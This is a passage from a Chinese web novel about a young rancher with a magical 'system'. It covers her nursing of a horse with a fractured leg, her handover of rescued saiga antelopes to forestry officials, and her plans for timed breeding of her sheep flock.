姚新泉松松地拢住它，不让它移动却也不敢太使劲怕它跟自己对抗，艾力又重新倒了盆估摸着四五十度的温水把石膏软化，他看了姚新泉一眼，“正常咱们是需要把小马放平然后按住它的身体避免它挣扎，再把伤腿调整至功能位的。你确定你能控制得住？如果控制不住还是下山找几个人来帮忙吧？” 姚新泉低头看了看小红马，见它没有丝毫要反抗的意思想了想还是道，“就先这样”，小马的情绪也很重要，之后它要保持这样的状态两三个月，不能让孩子现在太难受了。 实在不行再把石膏拆了重新打！ 第56章 艾力哎呦了一声懊恼地拍了下脑袋,“就算不让人按住它也得找人把它的腿给我扶正啊？不然得话它那腿还是以扭曲的形状被固定起来有什么用？我真是该找个助手了！” 兽医站还有编制，但是没找着合适的人所以便搁置了，但现在到了用人手的时候找不到人就很麻烦！ “要帮忙吗？” 姚新泉刚准备下山去找人的时候就听到了马合木提江的声音,她满脸惊喜地抬头看了过去。今天没让他们夫妻俩来的,但两人想着都歇了一整个冬天了现在好不容易能出来自然是要多来帮姚新泉做点事情的所以就又来了。 “快快快你快来”,艾力也认识他,招呼他过来,“你先去洗手,洗干净之后过来我让你抓住马腿你就得固定住知道吗？” 他拿出干净的纱布将马腿表面覆盖上厚厚的一层，避免石膏直接接触皮肤，不然容易伤到皮肤。 艾力指导马合木提江抓好马腿，保持在功能位,自己赶紧去将被挤出多余水分的石膏绷带缠绕在纱布上,从骨折远端螺旋式缠绕上去,重点覆盖在骨折区域确保固定稳固。 等都缠绕上去之后趁着石膏还没完全凝固，艾力又用手在调整石膏的形状，尽量贴合马腿的曲线,避免压迫到腿部的血管神经。 他小心把马蹄露出,等石膏半干的时候轻轻按压石膏，感受到石膏微微回弹这才放下心来。 最后又找了几块儿干净的板子加固,防止石膏碎裂。 弄完后艾力抹了把头上的汗,“好歹石膏给打上了,之后就是恢复的问题,你也得好好监测，防止并发症，我给你留点儿消炎药，再告诉你要注意些什么,你做好记录，我三天上来一次，有什么问题你赶紧下山找我！” 姚新泉自然很是感激，给了诊费后本想把人送下山去的，结果艾力摆了摆手，脸上是显而易见的嫌弃，“我一个大男人还要你一个小丫头送？你赶紧回去好好看马吧！” 他脸上有两分激动又有两分迟疑，“若是能好”，他叹了口气，他只是做了最简单的处理，如果能好那一方面是姚新泉后续的护理好，另一方面就是小马本身的体质好了！ 如果还有别的原因那就是小家伙运气好！反正跟他是没几毛钱的原因的！ “好好回去看着吧，我走了！” 姚新泉回到了马棚子里走到小红马身边轻轻给它按摩肚子，马腹部这样被兜住，会影响它本身的胃部运动的，所以她得靠外力来促进它胃部的蠕动。 姚新泉轻轻揉了将近15分钟，手都酸了，然后又在三条好腿上分别从蹄部向上轻推，缓解肌肉的僵硬，一套下来又是十来分钟过去了。 姚新泉缓缓吐出口气干脆就坐在地上了，小红马把脑袋搭在了她的头上，姚新泉伸手摸了摸它的脸，“我给你起个名字吧，就叫你平安好不好？家里还有你的一个小伙伴叫皮皮，她比你小一点，是个女孩子，等你恢复了你们再一起玩，让她带着你闹去！” 又陪了平安一会儿之后姚新泉这才回去厨房做饭，马合木提江干完活就走了。 吃完饭洗漱过之后姚新泉就打开了系统给的那本书，系统说学会了初级课程就能应对基本的一些伤病了，但是姚新泉大概翻了一下之后觉得系统实在是太过谦虚了！ 艾力算是他们这边比较有名的大夫，但是对于平安的腿伤他并没有给出什么有效的治疗方案来，可她翻了系统给的书中关于临床和用药部分后确实看到了好几种适用的药，中药。 比方说系统给的一个方子，是个外敷的方剂，不过这个方子是用在马腿骨折后一个小时之内的，别说她把平安带回来的时候已经超时了，就算没超，现在石膏都打了，也就不提了。 还有一些活血化瘀的伤药，她也不是很确定疗效怎么样，但是书 上至少给了方子！ 她对自己的认知还是很清晰的，几年之内她能熟练运用书本上的知识已经不易了，至于自己创新？几十年之后再说吧！ 她上了会儿课之后就将家里之前剩下的骨头翻找了出来，牛骨头太大了，家里几个毛孩子不喜欢啃，她也没扔，还想着等开春了不行用来沤肥呢，所以就都放着了，现在翻了出来。 姚新泉拎着大骨头，又把家里的斧头找了出来，开着灯在院子里用斧头砍骨头。 也幸好这里就她一个人住，不然得话大晚上肯定得吓着人！ 狗狗军团们围在周围不停地去捡地上掉下的骨头渣，看的姚新泉好笑，“我之前给你们你们不吃，现在我剁碎了你们倒来捡了？” 小家伙们不理她，自己玩得高兴，姚新泉见状只能无奈一笑。随后又在锅炉上摆了个不常用的锅把小块儿的骨头放在里面煮。锅里水加的多，她收拾好就去睡觉了，半夜又爬起来加了一点水。出去的时候就看到趴在客厅里的莱尼一双大眼睛忽闪忽闪冒着绿光。 姚新泉过去坐在了沙发上，她轻轻摸了摸莱尼的头，“你这孩子怎么不爱交朋友呢？人家小朋友都住在一起，你非要自己住在这间屋子里？” 莱尼把下巴搭在了她的膝盖上，才不喜欢跟傻蛋们住呢，吵死了！ 姚新泉逗了她一会儿之后自己也回去睡了，第二天一早醒来后先去看了煮的骨头，把骨胶跟油脂去除掉，在锅炉上放了一个平底锅烘烤起来。 喂完牲畜自己也吃完饭后她又把烘烤干的骨头用磨盘粉碎，再上钢筋锅去蒸。 倒也不是她一定要这么折腾，主要是课程里说这样反复蒸煮过的骨粉更稳定而且钙磷含量更高。 骨粉能够增强骨密度，维持钙磷代谢平衡，平安的伤别看好像不是特别重但也不容易恢复，除了顾虑骨折的问题，还得防范蹄叶炎，所以凡是对他伤情有好处的工作再麻烦她也都愿意去做。 先抓了一把骨粉，然后又添加了一些豆粕、胡萝卜之类的，搭配上苜蓿给平安喂好饭，接着开始检查他的伤情。 伤腿的温度正常，腿上也没有肿胀，又给他做了下按摩，给蹄子上做了清洁后，这才继续开始给他揉腹部，现在才刚开始还能靠揉腹部来缓解问题，后期稍微严重一些可能就得用药了。 观察他昨天是有正常排便的，姚新泉把马棚里打扫干净又做了消毒，干净的棚舍卫生不一定能让他好起来，但是总比各种细菌滋生的环境要好吧？虽然这个温度可能也不满足绝大多数细菌的生存条件。 她今天还带算去买点硫酸铜溶液回来，她打算每周给平安泡脚一次，虽然说如果他真的患上了蹄叶炎，更多的也是因为体重的压迫导致的，但是至少给他降低蹄部表面感染的风险啊！ 之后她又给平安把伤腿上石膏覆盖范围之外的地方挠了挠，终于停了下来。 呼！除了用药之外她把书里提到的护理方式基本上全给用上了！姚新泉脸上的表情放松了些，尽人事听天命吧！ 至于用药的话，目前平安的腿没有发炎症状，痛的话应该也还在承受范围内，所以她是暂时不打算上镇痛和抗炎的药物的，抗生素更是用不上。 至于促进愈合的药物这个还得再研究看看，如今有哪些牲畜用药她不是太确定，如果没有合适的话那倒不如食补呢！ 时间太短了也说不上他恢复的怎么样，但是至少没有恶化，姚新泉已经满意了。 目前除了他的伤比较紧急之外还有一件事情很紧急，那就是干预家里的细毛羊进入发情期。 姚新泉打开羊圈看着里面挤挤攘攘的羊一瞬间有点头疼，甚至想着干脆摆烂等它们后面自然发情拉倒！ 这个思绪飞快在脑海中闪过后便再也找不回来了，她的目光坚定了起来，比起一时的辛苦，还是赚钱更重要！而且现在已经有点晚了呢！ 配种！改良羊毛质量！赚钱！ 姚新泉暗暗给自己鼓劲儿，这才踏进羊圈。 毛团子们见她过来全都涌了上来，姚新泉走到电线旁边，将早就预留出来的灯泡位置都拧上灯泡，出来试了一下灯泡都是亮的，一个羊圈里安了八个灯泡。 想要人为干预发情时间首先要延长光照时间。 姚新泉看着羊圈里的白炽灯灯泡有些遗憾，书上说应该用LED灯泡来着，可没卖的啊怎么办？就凑活用吧！ 书上讲白炽灯的灯泡光谱单一，无法精准匹配羊群的生理需求。 而且热量太大了，不过这一点姚新泉倒觉得还好，北疆的3月初还会怕热？实在不行开五分钟门就不热了。 不过还有一个问题，白炽灯的寿命短，持续开灯的话可能没多久灯泡就会烧掉，不过她也没得选择，只能先这样了。 将来如果有机会的话在大城市看看有没有LED灯泡卖吧。 白天正常光照，从下午六点左右就要开灯，一直到第二天早晨8点，这样算下来一天的光照时间差不多在20个小时左右，之后还要逐步调整，不过都慢慢来吧！ 第57章 “高勇,你搞搞清楚你是国家干部！你觉得你这事儿做得没问题吗？”市林业局的乔为民声音沉沉，满是怒气。 “国家一级保护动物你竟然允许牧民私自豢养？” 高勇气笑了，他也顾不得那么多直接在电话里扯着嗓子跟领导对着喊,“乔局长,怎么就是允许私人豢养了？那高鼻羚羊是人家在大雪天里发现并带回家救助的,人家那是有功的！如果人家不救助高鼻羚羊,谁知道它们会冻死在哪个犄角旮旯里面？” “人家在雪停了可以下山之后立马找到我跟我说了这件事情,我是考虑了我们林业局的基本情况后,决定与其由一些不专业人士去饲养，倒不如让熟手先继续养着，等天暖和了再考虑怎么处理，我不觉得有问题！” “我们林业局本身就人手不足,这一个冬天救助了各级保护动物16只,还要组织加强巡护跟提高居民防火意识的活动,咱们县里又没有动物园，兽医也没有饲养照料过高鼻羚羊的经验，那凭什么不能让已经有经验的同志暂且照料呢？” “特事特办,局长,我觉得这事儿没有问题！” 高勇都要被气笑了，什么毛病啊？保护野生动物的重点是保护,人家姚新泉又是救助又是保护的,让人家暂时饲养对人家来说可以算是没有好处只有麻烦的事情,人家也愿意体谅他们的不容易继续照顾的,上面倒是突然冒出这么多意见来，可笑！ 乔为民不想跟他争这些事情，只是冷声道，“你联系好牧民,我这边安排好时间后会让人去你们县，去带走高鼻羚羊的。” 高勇胡乱答应了两声，爱来不来！ 不给他们安排人手就催着他们干这干那的，黄世仁也就这样了！ 高勇烦得不行但还是给姚新泉打了个电话，姚新泉接到电话后倒也没有很诧异，毕竟高鼻羚羊跟别的被救助动物不一样。 小金也稀少，但是没有稀少到整个新省就一两只的程度。而且她长着翅膀想来就来想走就走，谁也不可能因为她飞到自己牧场就说自己是私自非法豢养野生动物。 可两只高鼻羚羊不一样啊！他们数量稀少，就算这边也有他们的栖息地，可是这种情况如果他们还是生活在野外的话，相对还是生活在自然保护区比较好。 想到这里姚新泉就问，“会把它们送到自然保护区吗？” 高勇不知道，乔为民什么都没跟他说，他就怕有些人会拒绝将高鼻羚羊放生。 按姚新泉的意思，两只小家伙并没有丧失野性跟独立生活的能力，就算要干预繁殖也是需要遵循伦理并且要贴近自然环境吧？ “我希望吧，卡拉麦里山自然保护区那边本来就 有他们的栖息地，虽然目前那边并没有把高鼻羚羊列为主要保护对象，但是那边本身就是主要保护荒漠有蹄类动物的，我估计应该可以往那边放，我也在往那边努力。” 姚新泉嗯了一声，两人又聊了几句这才挂断了电话。她叹了口气，有些事是真的不好解释啊！比如说她该怎么解释两个小家伙是全疆最后一对高鼻羚羊了？ 又怎么解释两个小家伙血缘不近，不算近亲繁育，将来自然繁殖就好？她还想说系统讲哈萨克斯坦、俄罗斯以及部分中亚国家其实还有分布高鼻羚羊，为了物种多样性以后可以考虑引进？ 发愁啊！ 本来还想着他们应该会来的很快，但等了两几天都没见到他们姚新泉便也不记挂这件事情，因为麻烦的事情发生了。 平安身上出现了类似褥疮的情况！ 她每天都会关心平安身上有没有红肿，但是就算平安体重不是特别大，但身体被兜住也难免会摩擦，今天一早去检查的时候就发现了有些红肿，姚新泉的心沉了沉。 她先把今日份的治愈术释放出来，这玩意儿是日抛的，效果有，但是具体多大她也不好说，毕竟没有参照物。 昨天艾力过来检查说他的腿恢复的还行，姚新泉便没让他今天再过来。 她打了盆温水来，先轻轻擦拭了吊马兜接触的部位后，又用碘伏将泛红的部位消消毒。 平安应该是挺不舒服的，他不停地想扭过头去看自己的肚子，但是被吊马兜束缚住了动作，看得出来情绪有些烦闷。 姚新泉有些头疼，想了想她去把马棚的门打开，喊了一声“皮皮！” 皮皮跳着就过来了，姚新泉拍了拍她示意跟着自己进屋。 皮皮的大眼睛中满是好奇，她早就想进来了，但最开始姚新泉是在隔离，后来则是有些担心这小马驹太活蹦乱跳了万一伤到平安怎么办？ 可现在平安已经出现了烦躁的情绪，就算现在不严重，一直不处理的话总会越来越严重的，到时候万一再出现一些自残或者别的行为就不好了。 还是叮嘱皮皮小心一点，然后来屋子跟他玩吧，有朋友的陪伴想来会好一些。 姚新泉少少给平安涂了一些红霉素软膏，可以预防感染。 姚新泉有些头疼，其实应该让他晒晒太阳的，但是因为不知道这个天气哪天又会下雪，她是把平安拴在里面不会被雪淋到的地方，这里是亮堂的，不过并不会被直接照到。 另外目前很重要的一点是要给平安搞一点软和的东西垫在身下，尽量分散压力，同时减少摩擦。 可用什么呢？ 姚新泉皱着眉头进了屋，就算用最软的棉布好像也不太合适，太薄了！ 那棉被呢？ 好像也不太行，薄的效果不好，厚的不透气。 到底用什么呢？直到姚新泉晚上回屋睡觉躺在床上突然灵光一闪，对啊，床垫啊！ 她爸妈屋里床上铺的是褥子，可是她的屋子床上是专门去家具城买的床垫，很软而且回弹也不错。 可是难道要把床垫剪了？ 姚新泉琢磨了一晚上，第二天一早终于有了主意，买泡沫垫！ 一样有弹性，但是价格要便宜很多。 想到就干，她又下山了一趟，扛了一包泡沫垫回来，厚度差不多五六厘米，压实后也有两三厘米呢！ 她回来后先把泡沫垫晾在外面暴晒杀菌，然后又用开水煮了一条纯棉的布，等干了之后，把布缝到了泡沫垫的上面后又来到了马棚。 “平安，我把这个垫子塞到你的肚子底下，这样你会舒服一些，过会儿我抬你肚子的时候你不要抗拒，很快就好成吗？” 听没听懂姚新泉不确定，反正平安确实没反抗，但他这个体重折腾下来姚新泉出了一脑门的汗！ 她轻轻拍了拍平安的屁股，“舒服点儿没有？” 平安也不吭声，就是把马脸往姚新泉怀里送，姚新泉笑着抱住他，“我算是发现了，你比皮皮会撒娇多了！” 皮皮那个孩子就真的马如其名，她会突然跑过来咬你衣服，扯你头发甚至是踢你一脚，但是很少有这种乖乖巧巧贴过来的时候。 姚新泉现在特别注重给平安的腿按摩，骨折有愈合的趋势，那就更不能让蹄叶炎把一切都毁了！ 正按摩着突然听到外面叽叽喳喳的声音，有点像小金，但又好像不止是她，姚新泉探头出去看。 远远地就见小金站在连廊的房檐上跟站在牛棚上的一只鸟在吵架，好像是只乌鸦？反正是一身黑。 姚新泉眯着眼睛看了半天也没搞懂两个小家伙是咋回事，但是听这个动静，两个家伙骂的还挺脏的。 正当她想回去继续照顾平安的时候就见小金突然一个旱地拔葱便冲上云霄然后如一支利箭一般冲向小乌鸦。 七个月大的金雕虽然还是幼鸟，但是已经接近成年体型了。小金算是金雕中的标准体型，身长大概80厘米左右，她的翼展非常长，姚新泉前两天刚拿皮尺给她量过，有2.3米，飞起来那一瞬间竟然让姚新泉产生了遮天蔽日的错觉。 她身上属于幼鸟的白色羽毛已经褪去了很多，鸟喙也已经向成年的黄褐色过渡，头部的羽毛非常蓬松，不过金色不是那么明显，至少仅凭目前的外形，姚新泉不觉得她有被叫为金雕的理由。 小乌鸦似乎也没想到小金会突然冲过来抓它，它吓得赶忙飞了起来，可也许是受惊太过，那飞行的背影看起来竟然有些踉踉跄跄地。 果不其然，也就眨眼的功夫小乌鸦就被小金抓在了爪子上，她在半空中绕着家里住宅跟牛圈羊圈这些地方转了一圈，叫声中满是得意跟喜悦，最终轻轻落在了姚新泉所在的马棚前面的一根栓马的木桩上。 小脑袋高高地昂起，姚新泉忍俊不禁地给她比了个大拇指，“小金真厉害！” 不过，小金这是不是吵架吵不过人家恼羞成怒然后就打人啊！ “小姚，你把小金雕照料得真好，野性也都在，跟野外由成鸟带大的看起来都没什么区别啊！”高勇大老远过来见到这一幕笑得畅快，这个小姚真是给他长脸啊！ 第58章 高勇没想到这次竟然是乔为民亲自过来的,他本来以为乔为民会安排自己下属过来呢！ 他不仅自己过来了，与他同行的还有一位年轻的男同志，开着一辆皮卡车,看着像是军用的。 一行人把车停在山脚下步行上来,高勇都累得大喘气,更别说此时脸色都有些泛白的乔为民了,只有那位年轻的小同志没什么表情。 几人刚想叫姚新泉的时候便见到了小金雕抓乌鸦的那一幕,高勇眼睛瞬间就亮了起来。 小金和两只高鼻羚羊的事情他都跟上面汇报过,乔为民很是不高兴，觉得他在胡闹，可这一见面就发现小金身上的野性没有丧失！ 这被人类救助的小动物最害怕的就是没了野性，没了独立在野外生存的能力,这样的话它们就没办法回归大自然了,只能在动物园那狭窄的笼子里过完余生。 这不是高勇想见到的场景,他不是不犯愁，但是人手确实不够用怎么办呢？不让开牧场有那么大地方的热心牧民帮忙照料，难道要让他们把小金关到自家厕所里照料吗？ “乔局,你看小姚这照顾得多好啊！” 乔为民看了他一眼没说话,目光落在了姚新泉身上。 姚新泉先打发走了狗狗军团们，笑着朝几人走来,“诸位领导怎么突然过来了？” 乔为民对着高勇的时候虽然态度很不好,但是对上老百姓的时候态度又平和了起来。 他笑着朝姚新泉点了点头,跟她握了个手,“这不是知道你这边救助了两只高鼻羚羊跟一 只金雕嘛，我们过来看一看！” 都到了这里反而不急着去看高鼻羚羊了，几人在姚新泉的带领下在牲畜棚里转了起来。 当转到平安所在的马棚时，几人的目光都落在了平安打石膏的那条腿上。 “它的腿骨折了？”一直旁听的年轻男人突然说话,姚新泉不知道他是谁，但是跟着领导过来的也不好怠慢。 “是啊，不过不算特别严重，闭合性骨折，采取的保守治疗，受伤到今天是九天，目前还在治疗的早期阶段，等再恢复五天左右就要逐步进行负重训练了。” 总的来讲姚新泉自问她的心态还是不错的，不管到底是因为平安体质好还是伤情不重亦或者是因为金手指的原因或者治疗得当，不管是因为什么原因，到目前为止平安的伤腿都没有出现什么明显的红肿发炎状况，其他三只腿也没有出现蹄叶炎症状，腹部虽然有些不大对，但是只要不是严重褥疮，就算真有发炎破皮，大不了之后慢慢恢复。 她现在对平安很有信心！ “确定是骨折吗？”年轻人追问，都九天了石膏包裹处上下都没有明显异常，这就是有很大可能性要好啊！ 姚新泉倒也没觉得生气，也不算奇怪吧，基层里有医术精湛的人自然也有浑水摸鱼的人，误诊倒也不算奇怪。 “我们这边的兽医站负责人叫艾力西尔，他们家从他父亲到他哥哥以及他本人都是兽医，从干这一行至今已经将近30年了”，所以不至于连是不是骨折都没办法确定。 高勇也知道艾力西尔，“我知道他，咱们县还有市里每一次举办的兽医相关的培训他都会去。” 年轻人点了点头，又继续问，“那你除了常规治疗手段外还采取了其他措施吗？” 姚新泉没想到他会追问这些，但这也不是什么不能说的东西，“在经过初步诊断并确定好保守治疗方案之后，艾力兽医给平安打上了石膏，药物使用的有限，在他没有明显发炎等症状的情况下我没有给他使用抗生素，只是吃了两天的消炎药，除此之外就是食补以及一些护理了。” 她侃侃而谈的模样让年轻人看出来了姚新泉就算不是自己制定了治疗计划她也肯定是全称参与其中，是有自己的想法的。 至于能不能成，他的目光看向了平安，半晌后突然朝她伸手，“认识一下，我叫杜若林。” 他这个招呼打的让人猝不及防，不过姚新泉也没介意，跟他握了手之后带着几人把牧场逛完最后带着他们去看了高鼻羚羊。 目光落在高鼻羚羊身上的时候乔为民的呼吸都忍不住轻了些，近几年除了他们这儿，可再没有见过高鼻羚羊的踪迹啊！ 有不少专家学者都说在六十年代的时候高鼻羚羊就已经在我国灭绝了，现在又出现在自己的治下，难道还不能说明他的政绩吗？ “小同志，这两只高鼻羚羊我得带走”，乔为民怕姚新泉心里有意见，他也不想寒了老百姓的心。 不想姚新泉立马就同意了，“但我有一个要求”，几人的心又提了起来，就见姚新泉接着道，“高鼻羚羊得送到保护区去，不能送到动物园。” 她已经跟两个小家伙好好聊过了，虽然说不能百分百保证理解了他们的意思，但是她看得出来，小家伙们不想失去自由。 姚新泉不觉得这是无礼的要求，所以自然也会跟领导提。 乔为民没想到她这么懂事，很是满意地点了点头，“小同志你放心，我们不可能把能独立在野外生存的濒危野生动物勉强留下来，但我也要跟你透底，相关部门应该会关注它们的繁育问题的”。 姚新泉理解并接受，都濒危了，能不关注？而且有人关注的话它们相对来说反而更安全呢！ 因为姚新泉的配合事情谈的很顺利，乔为民心里对高勇的不满都淡去了一些。 让老百姓去救助或者短期饲养就会有这个问题，不管是养出感情了还是为了什么，人家不愿意放手了！ 又是人家主动救助的，他们要是太过强硬事情也会闹得很难看啊！ 他没忍住叹了口气，表情有些复杂，“你们都是好同志，什么都不图照顾了小动物这么久，但怕的就是有感情了不愿意放手啊！” 他讲起了一件事情，“隔壁市里出了一件事，有个老百姓救了一只雪豹，本身这是一件好事情，但是他救助之后私自养了半年多，那雪豹可是国家一级保护动物啊！后来被人举报说他私自豢养保护动物，当地工作人员找上门去他不仅没有任何悔改反而不愿意让工作人员把雪豹带走！” 乔为民挺无奈的，别看保护野生动物的相关法律88年就出台，现在算下来差不多已经四年了，可是实际上在很多人眼里心里都不会有这个东西，他们还是觉得我带着猎枪就能去打猎，我弄个陷阱就能抓动物。 救助了那就成了他们自己的，根本不愿意让带走。 “那次的事情去的工作人员也年轻，跟老百姓发生了冲突，事情最后闹得挺难看的”，乔为民叹气，人家最开始就是为了救助的，如果仅仅因为养了半年就说人家犯罪要处罚他确实是不近人情。 但是毕竟法律有相关规定，总不能不把法律放在眼中吧？ 乔为民这次为什么要自己来？就是因为他觉得上次那个小年轻贸然报警把事情闹到不能转圜的余地了，所以他得来把一下关。 幸好，这次没闹到那种地步，不过给老百姓的普法还是得做到位啊！ 高勇抿了抿唇，他倒不知道里面有这样的缘由，不过无论如何他是不后悔的，凡事还是要以野生动物的利益为先！ 几人没有因为这事产生什么争执大家都还挺高兴的，姚新泉招呼几人进屋喝水，她尴尬地笑了笑，“我这边牛羊都还没下崽过，家里也没茶，就只能给你们倒点热水了。” 几人没意见，杜若林一直在不留痕迹地打量着姚新泉以及她这个牧场，对于一个私人牧场来说他觉得还挺出人意料的。 “姚同志，你是专门学了畜牧相关专业吗？”杜若林在养殖这一行是个彻彻底底的外行人，他听说过科学养殖的概念，可是他不知道具体要怎么做，但刚才听姚新泉说的那些，他觉得这就是所谓的科学养殖的具象化。 姚新泉赶忙摇头，“没有没有，我也就是爱看书，从书上学了一些，我跟专业人士还差得远呢！” 杜若林觉得她在妄自菲薄，他不着痕迹地把话题往平安身上引，乔为民猜到他的想法了，他想了想也没打断，让他继续说。 过了许久杜若林突然道，“姚同志，我是边防部队的一名战士，因为边疆地形复杂车辆无法通行，就算车辆能过，也没有那么多车辆供边防战士使用，所以我们边防哨所里也会有一些军马用于官兵巡逻执勤。” 姚新泉点了点头示意自己在听，她有点猜到杜若林要说什么了。 “因为环境和地形的原因，边防部队里面的军马时有受伤的情况，咱们都清楚，马腿一旦骨折”，他没继续说下去，但脸上表情不是很好看，这些难道不是他们的战友吗？一起并肩作战的战友，可能就因为一点小失误或者一些什么别的原因便不能服役了。 或者说，不是不能服役，而是会牺牲。 “我刚才看你家里那匹马状况还挺好的，我是想着如果可以的话我们那些受伤的军马可以送到你这边来治疗吗？部队不会拖欠你的治疗费的！” 他也想过请他们去出诊，但是人家这么大个牧场放着不管也不现实。 他也想过让他们去传授经验，可是他也听了这些治疗手段并不复杂，可为什么那些军马就没扛过去呢？会不会不是治疗手段的关系，而是人的关系呢？ 姚新泉不是兽医只是普通养殖户那又有什么关系？不拘一格降人才，只要有真本 事，那他就能张口去提！ 第59章 姚新泉没有立马拒绝,可她想了会儿觉得杜若林可能有点冲动了，“杜同志，如果我有这个能力我肯定不会拒绝”,为什么要拒绝呢？就算不提为了国家默默奉献的这些特殊的功臣们,就只说能跟边防这边建立联系也是很不错的一件事情啊！ “你先别急,我没有拒绝的意思”,见他着急想要说话,姚新泉赶忙安抚,“平安的情况你看到了，确实可以说好了一些，但我也不是给自己泄气，他才受伤九天,后续还有许多问题可能会发生,在他彻底痊愈前谁也不能保证最终结果会如何。” 她沉吟了一会儿,“要不这样，根据平安的恢复情况来，如果恢复得还不错,那差不多半个月后也就可以拆除石膏了,到时候还有一些后续的功能恢复训练要做，你如果有时间可以过来看看,或者我把电话留给你,到时候再沟通这些问题,我觉得总得平安这边能痊愈咱们再谈别的。” 她有信心是有信心,但总要最终结果出来再说话。 高勇也很是赞同，“是啊，马腿骨折的治疗难度咱们都知道，既然小姚这边有正在治疗的,那就先看看这边的效果，也不急在一时。” 他确实是在为姚新泉考虑，万一着急忙慌得跟边防合作了，结果一匹都治不好这肯定要出问题的。 杜若林想了想还是点头，除了姚新泉这边的问题，他也得回去跟领导商量。 虽然说某种意义上来讲既然边防那边之前找的人治不好，那就死马当作活马医吧！ 可问题是把马运送过来的人力物力怎么算？ 两地确实不算远，但是开车怎么也得五六个小时了。 而且随行的人最起码得有两名战士，其中一名开车，另一名帮着搭把手，是不是还得配一名兽医？ 这都得上面领导同意了才成！ 想到这里他也不勉强对方了，留下了姚新泉的电话，打算回去后好好跟进一下平安的恢复进程。 留几人吃了顿饭后，姚新泉送走了三人以及依依不舍的两只高鼻羚羊，不过随后她便接到了好消息。 “湖羊已经上车了？”姚新泉很是高兴，这事儿本以为会很顺利的，结果莫名其妙被卡住了，就在她以为会拖延一段时间的时候又奇妙地推进了。 电话那头的师月江嗯了一声，声音中满是轻快，田学林还是很好用的，他不仅处理好了这件事，而且价格还远低于他们的预期。 “还有一个好消息要告诉你”，师月江很期待姚新泉的反应。 “什么？”她隐隐有了猜测。 “杜泊羊上船了，不过不是通过南非引进的，是通过澳大利亚引进的，南非那边手续繁杂，不仅没办法规模化引进，而且会耽误时间，我们找专家评估过，澳大利亚的杜泊羊跟南非的一样，不会影响你用来繁育的目的的。” 澳大利亚吗？不过这个倒无所谓，这几天她确实没时间关注这些事情，事情太多了。 平安的事情，母羊发情的事情还没处理好，目前还是在通过灯光模拟秋天的光照条件，保持日照16个小时、黑夜8小时的状态，目前已经差不多一个月了，效果怎么样这个也说不好。 另外出现了一个大问题，那就是她租借回来的公羊的问题。 准确地说是她闹得笑话。 姚新泉光想着要用公羊刺激母羊发情了，没往深处考虑。现在公羊倒是跟母羊合群了，可合群之后公羊难免就会想□□，她根本没办法每一只都阻止到啊！ 后来她才反应过来刺激发情没毛病，可应该找结扎输精管的公羊啊！ 这种公羊跟母羊合笼之后会刺激母羊发情，但不至于让母羊怀孕。 倒不是不让母羊怀孕，可是家里500只母羊，也不算是小规模养殖了，要想省事的话正常应该让它们同步发情，同步配种，虽说个体的妊娠时间不一致，但是也大差不差，这样一来更方便规模化管理。 可现在搞不好羊圈里有的羊已经怀孕了，有的羊还没发情呢！ 到时候怎么管理？怎么放牧？全都是问题啊！ 姚新泉头都大了！ 她把这个说给师月江听了之后师月江倒没笑她，反倒是说，“我这段时间也去了解了一下，是可以通过激素去刺激母羊发情的。既然现在已经出现这个情况了，为了规模化集约化养殖，我觉得你有必要这样去刺激一下。” 跟姚新泉想到一起去了！ 可姚新泉还是叹气，按照她最开始的想法，通过光照刺激，公羊刺激，这样一来最起码有半数的母羊是能正常发情吧？ 然后再通过激素去刺激，能给她减少一些成本，激素那也不是白给的，是要钱的啊！ 现在如果全数都要通过激素刺激的话，母羊一次是需要注射400-500iu的PMSG的，一般注射之后2-3天就能发情，排卵率比较高。 如果是注射前列腺素跟促卵泡素加促黄体素的话，有的是需要母羊处于黄体期，有的是需要分次注射，都比较麻烦。 至于价格的话，PMSG大多数是国产的，每只羊大概1-2块，另外两种最起码要5块一头羊，成本太高了！ 就算用PMSG注射，按1块来算，如果500只全部要打，这样算下来那又得增加500的成本！ 这本来是不需要的啊！或者说不需要这么多啊！ 姚新泉叹气，师月江一时不知道怎么安慰她只是问道，“那你现在把公羊分开了吗？” “分了，不分后面更头疼”，她现在都不确定有哪些羊已经配种成功了！ 正儿八经配种的时候，如果人能盯得过来，只要有爬跨行为就会在母羊身上做上标记，如果数量太多的话，那一般会在公羊胸前抹上油漆，只要蹭到母羊屁股上就当已经发生过爬跨了。 现在她没办法确定哪些母羊已经配过了啊！ 她把平安跟小公羊带回来已经九天了，隔离用了两天，合笼已经七天了，这算是早期妊娠阶段，如果这个时候再给母羊们注射激素的话，好一点的情况就是人家压根没配种成功，那就刺激母羊重新发情。 坏一点的情况可能会导致胚胎着床失败，如果配种后已经形成妊娠黄体，再打激素可能导致母羊的内分泌也失调，影响母羊自身的激素分泌，导致母羊子宫内膜炎，影响后续繁殖的效率。 她养着这500头羊一方面是毛用，另一方面也是想继续繁殖的，如果因为这一次的问题导致后续没办法正常受孕了，姚新泉简直血亏！ 母羊配种后多久能看出是否有怀孕呢？ 母羊一般在配种30天左右才开始有怀孕的迹象，两个月会更明显。比方说母羊会变得安静、食欲增加、拒绝公羊的爬跨，身体也会有一些反应。 可一两个月啊！难道她要等一两个月之后再确定用不用激素？ 母羊的妊娠期总共也就5个月左右，所以家里的小羊又得分好几拨？ 倒是有提前确定的一些办法，比方说可以做B超，或者做一些其他的激素检查，但目前为止姚新泉只听说疆内的一些大型国营牧场里有配备，她家这种私人牧场可拉倒吧！一台机器就不少钱呢！ 买不起！她不配！ 姚新泉头痛的要死，她被自己蠢到了，回来这么久她之前还一直觉得自己挺能的，觉得自己无论是在养殖、繁育还是各方面都有自己独到的见解，算是新时代搞科学养殖的优秀牧民了！ 结果…… 姚新泉承认她被打击到了。 师月江在电话里安慰了她几句，挂了电话之后师月江心里充满着浓浓的不安，隔着电话线的几句安抚能有什么用？不当吃不当穿的还浪费人家的电话费！ 他必须要做些什么！ 想到这里师月江打开了电话本，他必须得做些什么！ 挤奶器、便携式超声仪、青贮收割机…… 姚新泉自然不知道有人想给她花钱，此时她正愣在原地有些不知所措，“你说你能给我租一个感应机能感应到牲畜有没有怀孕或者是母羊体内有没有受精卵的形成？” 这么神奇？ 姚新泉眼睛都亮了，如果都没有形成受精卵的话那也就不用提后续胚胎着床的事情了，不知道现在有没有这项技术，反正她是没听说过。 但系统有！ 而且还能租！ “多少钱？”她小心翼翼地试探着。 系统毫不迟疑，“一只1积分。” 姚新泉冷笑一声，“那你还是把我杀了吧！” 开什么玩笑呢！到现在为止她连100积分都还没凑到，还倒欠系统25积分呢！ 500积分，疯了吧？ 逼急了她就等上一个月看看到底有没有怀孕的，之后再打激素，也就是管理复杂一些而已，有什么大不了的！ 